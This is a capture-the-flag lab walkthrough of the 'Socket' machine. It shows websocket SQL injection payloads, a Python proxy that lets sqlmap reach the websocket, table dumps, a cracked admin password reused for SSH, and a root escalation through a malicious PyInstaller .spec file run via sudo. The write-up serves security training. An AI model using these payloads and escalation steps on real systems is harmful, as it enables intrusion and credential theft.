To gain access to the machine, we had to perform enumeration on an unknown service, which led us to discover a SQL injection vulnerability. Exploiting this vulnerability allowed us to retrieve credentials for the user admin as well as the names of individuals. Exploiting this vulnerability later gave us a foothold as the user “tkeller” on the target system.
Having established access as “tkeller,” we were able to utilize PyInstaller as root, thereby granting ourselves full root privileges on the system.
Recon
The HTTP service has as its domain qreader.htb
, by changing the /etc/hosts
file, we will be able to reach it.
nmap (TCP all ports)
nmap
finds three open ports, an SSH
service (22), an HTTP
service (80) and an unknown service (5789):
$ nmap -p- qreader.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-27 11:31 WEST
Nmap scan report for qreader.htb (10.129.194.88)
Host is up (0.054s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5789/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 22.44 seconds
$
nmap (found TCP ports exploration)
$ nmap -sC -sV qreader.htb -p 22,80,5789
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-27 11:33 WEST
Nmap scan report for qreader.htb (10.129.194.88)
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
5789/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Date: Mon, 27 Mar 2023 10:33:39 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| Help, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Date: Mon, 27 Mar 2023 10:33:54 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
|_ Failed to open a WebSocket connection: did not receive a valid HTTP request.
1 service unrecognized despite returning data.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.30 seconds
$
HTTP - TCP 80
Technologies used:
By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:
Landing page
By going to the url we are presented with the following landing page:
This service enables us to read and embed content in qr codes.
Shell as tkeller
Websockets
Probing
By probing the port 5789 we get to know that the port is used as a websocket, this one being used by the application. To better interact with the open port we can use the tool wscat.
We firstly give as input an empty JSON, this will trigger the service to display the available paths to interact with it:
$ wscat --connect qreader.htb:5789
Connected (press CTRL+C to quit)
> {}
< {"paths": {"/update": "Check for updates", "/version": "Get version information"}}
Disconnected (code: 1000, reason: "")
By interacting with the path /version
we quickly understand that the service is vulnerable to SQLi.
$ wscat --connect qreader.htb:5789/version
Connected (press CTRL+C to quit)
> {"version":1}
< {"message": "Invalid version!"}
Disconnected (code: 1000, reason: "")
$ wscat --connect qreader.htb:5789/version
Connected (press CTRL+C to quit)
> {"version":"\\\" OR 1=1 --"}
< {"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
Disconnected (code: 1000, reason: "")
$ wscat --connect qreader.htb:5789/version
Connected (press CTRL+C to quit)
> {"version":"0.0.2"}
< {"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
Disconnected (code: 1000, reason: "")
We can then take advantage of this vulnerability to extract the users table present within the database:
$ wscat --connect qreader.htb:5789/version
Connected (press CTRL+C to quit)
> {"version":"\\\" UNION SELECT * FROM users--"}
< {"message": {"id": 1, "version": "admin", "released_date": "0c090c365fa0559b151a43e0fea39710", "downloads": "admin"}}
Disconnected (code: 1000, reason: "")
$
Password Cracking
With the hash for the admin
user we can try to crack it with the service crackstation.
After cracking the password we retrieve the following credentials:
admin:denjanjade122566
SQLMAP through proxy
We already explored the /version
path and extracted credentials with it due to a SQLi vulnerability, we can try now the same vulnerability but with the /update
path. In this case instead of manual exploitation we will try to automate the exploitation with the help of a proxy and sqlmap.
Proxy
Due to sqlmap only working with GET
and POST
request we need to create an abstraction that enables us to interact with the websocket from these types of requests, for this we will use a proxy that can be see in this blogpost, with some tweaks for our usecase:
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://qreader.htb:5789/update"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace("'",'\\\"') # replacing ' with \\" to avoid breaking JSON structure
data = '{"version":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
Now if we test the bridge built between the sqlmap
and the websocket by running both:
$ python3 proxy.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
___
__H__
___ ___[']_____ ___ ___ {1.6.4#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
...
We can see that sqlmap
can interact with the websocket service.
Results
The /update
is also vulnerable to SQLi, this enables us to get all the contents from the databases:
$ sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --tables
___
__H__
___ ___[)]_____ ___ ___ {1.6.4#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:59:04 /2023-03-27/
[13:59:04] [INFO] resuming back-end DBMS 'sqlite'
[13:59:04] [INFO] testing connection to the target URL
<SNIP>
[13:59:05] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[13:59:05] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[6 tables]
+-----------------+
| answers |
| info |
| reports |
| sqlite_sequence |
| users |
| versions |
+-----------------+
[*] ending @ 13:59:05 /2023-03-27/
$ sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 -T answers --dump
<SNIP>
Table: answers
[2 entries]
+----+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+---------+-------------+---------------+
| id | report_id | answer | status | FOREIGN | answered_by | answered_date |
+----+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+---------+-------------+---------------+
| 1 | <blank> | Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller | PENDING | <blank> | admin | 17/08/2022 |
| 2 | <blank> | Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller | PENDING | <blank> | admin | 25/09/2022 |
+----+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+---------+-------------+---------------+
[*] ending @ 14:09:56 /2023-03-27/
$
SSH as tkeller
Previously we saw some emails from a person named Thoma Keller
, by generating possible usernames with that name we can later login as the user tkeller onto the machine:
$ ssh tkeller@qreader.htb
tkeller@qreader.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-67-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Mar 27 01:47:03 PM UTC 2023
System load: 0.0
Usage of /: 57.7% of 8.51GB
Memory usage: 14%
Swap usage: 0%
Processes: 222
Users logged in: 0
IPv4 address for eth0: 10.129.194.88
IPv6 address for eth0: dead:beef::250:56ff:fe96:e2aa
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
tkeller@socket:~$
Credentials found
tkeller:denjanjade122566
Note: We can generate usernames from a given name with the help of automated tools, one such being username-anarchy.
Shell as root
Sudo commands
By enumerating the commands that the user tkeller is able to execute within the machine with root priveleges we were able to find the following:
tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
tkeller@socket:~$
Build installer
The script that can be executed is the following:
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
This script enables the user to use pyinstaller to build any program package.
Privilege escalation through pyinstaller
We can take advantage of this privilege to run pyinstaller to run arbitrary commands.
root.py
To exploit this we first generate a dummy .py
program:
#!/usr/bin/env python
print("Im the root now")
root.spec
After generating the dummy program we can make a .spec
file in witch we specify an arbitrary program and the commands we wish to execute:
# -*- mode: python ; coding: utf-8 -*-
block_cipher = None
a = Analysis(['root.py'],
pathex=['.'],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
[],
exclude_binaries=True,
name='root',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
upx_exclude_glob=[])
import os
os.system("id")
Root shell
If we now run the build-installer.sh
with the malicious files, we are able to get command execution as the root user:
tkeller@socket:~$ vim root.py
tkeller@socket:~$ vim root.spec
tkeller@socket:~$ sudo /usr/local/sbin/build-installer.sh build root.spec
147 INFO: PyInstaller: 5.6.2
147 INFO: Python: 3.10.6
151 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
154 INFO: UPX is not available.
158 INFO: Extending PYTHONPATH with paths
['/home/tkeller', '/home/tkeller']
768 INFO: checking Analysis
768 INFO: Building Analysis because Analysis-00.toc is non existent
768 INFO: Initializing module dependency graph...
773 INFO: Caching module graph hooks...
782 WARNING: Several hooks defined for module 'numpy'. Please take care they do not conflict.
790 INFO: Analyzing base_library.zip ...
1836 INFO: Loading module hook 'hook-heapq.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
1950 INFO: Loading module hook 'hook-encodings.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
3455 INFO: Loading module hook 'hook-pickle.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
5540 INFO: Caching module dependency graph...
5667 INFO: running Analysis Analysis-00.toc
5700 INFO: Analyzing /home/tkeller/root.py
5701 INFO: Processing module hooks...
5712 INFO: Looking for ctypes DLLs
5715 INFO: Analyzing run-time hooks ...
5718 INFO: Including run-time hook '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py'
5720 INFO: Including run-time hook '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_subprocess.py'
5729 INFO: Looking for dynamic libraries
6289 INFO: Looking for eggs
6289 INFO: Python library not in binary dependencies. Doing additional searching...
6369 INFO: Using Python library /lib/x86_64-linux-gnu/libpython3.10.so.1.0
6371 INFO: Warnings written to /home/tkeller/build/root/warn-root.txt
6384 INFO: Graph cross-reference written to /home/tkeller/build/root/xref-root.html
6402 INFO: checking PYZ
6402 INFO: Building PYZ because PYZ-00.toc is non existent
6402 INFO: Building PYZ (ZlibArchive) /home/tkeller/build/root/PYZ-00.pyz
6649 INFO: Building PYZ (ZlibArchive) /home/tkeller/build/root/PYZ-00.pyz completed successfully.
6651 INFO: checking PKG
6651 INFO: Building PKG because PKG-00.toc is non existent
6651 INFO: Building PKG (CArchive) root.pkg
6677 INFO: Building PKG (CArchive) root.pkg completed successfully.
6678 INFO: Bootloader /root/.local/lib/python3.10/site-packages/PyInstaller/bootloader/Linux-64bit-intel/run
6678 INFO: checking EXE
6678 INFO: Building EXE because EXE-00.toc is non existent
6678 INFO: Building EXE from EXE-00.toc
6680 INFO: Copying bootloader EXE to /home/tkeller/build/root/root
6683 INFO: Appending PKG archive to custom ELF section in EXE
6695 INFO: Building EXE from EXE-00.toc completed successfully.
uid=0(root) gid=0(root) groups=0(root)
tkeller@socket:~$